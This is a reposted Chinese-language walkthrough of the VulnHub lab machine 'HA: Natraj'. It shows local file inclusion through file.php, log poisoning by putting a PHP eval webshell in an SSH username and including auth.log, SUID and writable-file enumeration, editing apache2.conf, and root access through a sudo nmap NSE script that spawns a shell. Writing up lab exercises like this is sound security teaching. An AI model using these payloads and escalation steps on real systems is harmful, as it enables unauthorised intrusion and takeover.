39

VulnHub靶场学习_HA: Natraj

 4 years ago
source link: http://www.cnblogs.com/Ly-Dargo/p/13423183.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

HA: Natraj

Vulnhub靶场

下载地址:https://www.vulnhub.com/entry/ha-natraj,489/

背景:

Nataraj is a dancing avatar of Hindu God Shiva. His dance is called Tandava and it is only performed when he is most angry. Whoever interrupts his dance dies by Shiva while dancing. This is a Boot2Root challenge. Based on Nataraja. You only have to root the machine and find the root flag! All the best!

reyuMbb.png!web

7re6vmF.png!web

利用nmap扫UDP也没有发现开放的端口

目录扫描

YbE7Nb.png!web

在该路径下发现file.php

http://192.168.139.137/console/

Rzy6Vjq.png!web

打开试试,看看是不是文件包含

http://192.168.139.137/console/file.php?file=/var/www/html/index.html

B3qeyyU.png!web

http://192.168.139.137/console/file.php?file=/etc/passwd

ARv2Anm.png!web

获取到用户名,natraj、mahakal

接着利用cewl -m 4 192.168.139.137 >123.txt获取网站的信息

尝试SSH爆破,没有成功。

目前就只有这个文件包含是突破口,但也没有上传点。

Writeup,可以包含SSH的认证日志来Getshell

查看常见的log。

Erym2mv.png!web

这里可以利用/var/log/auth.log对SSH用户名的记录来Getshell。

登陆SSH时,用户名为<?php phpinfo();?>

EFvuIjQ.png!web

包含文件能够发现phpinfo()页面。

Q7FniaI.png!web

利用php一句话,用户名为<?php @eval($_POST['vul']);?>

ZFBzMzN.png!web

这里利用蚁剑进行连接。

eIzuEre.png!web

查找可利用的点

find / -user root -perm -4000 -print 2>/dev/null    //查找suid

find / -perm -4000 2>dev/null | xargs ls -la     //查找suid并详细展示

find / -writable -type d 2>/dev/null          //查找当前权限可写的路径

find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null       //查找777文件

find / -writable -type f 2>/dev/null | grep -v "/proc/" |xargs ls -al |grep root     //查找写权限文件

vMNfMnY.png!web

Apache2.conf拥有777权限。这里可以将上线的权限修改为natraj、mahakal 这两个用户,但不能修改为root,修改为root会导致apache起不来。而且要重启服务器,所以这个提权并不是特别好的。在前面的靶机HA: ARMOUR有遇到过。

修改/etc/apache2/apache2.conf的内容

RVFn6zM.png!web

这里低权限,只能重启服务器

重新获取shell,不过没有发现可以直接利用的,只能换个用户试试。

E3EZJn6.png!web

sudo -l 查看到有nmap的root权限

QVzauiV.png!web

查看nmap的版本,旧版有交互可以直接执行系统命令,新版可以通过执行脚本。

nyeuEn6.png!web

echo 'os.execute("/bin/sh")' >vul.nse

sudo nmap -script=vul.nse

b2iiqem.png!web

没能执行,这里判断是蚁剑不支持创建会话。

这里利用冰蝎成功提权。

nEZzQbE.png!web

成功获取到root下的flag。

ziimM3n.png!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK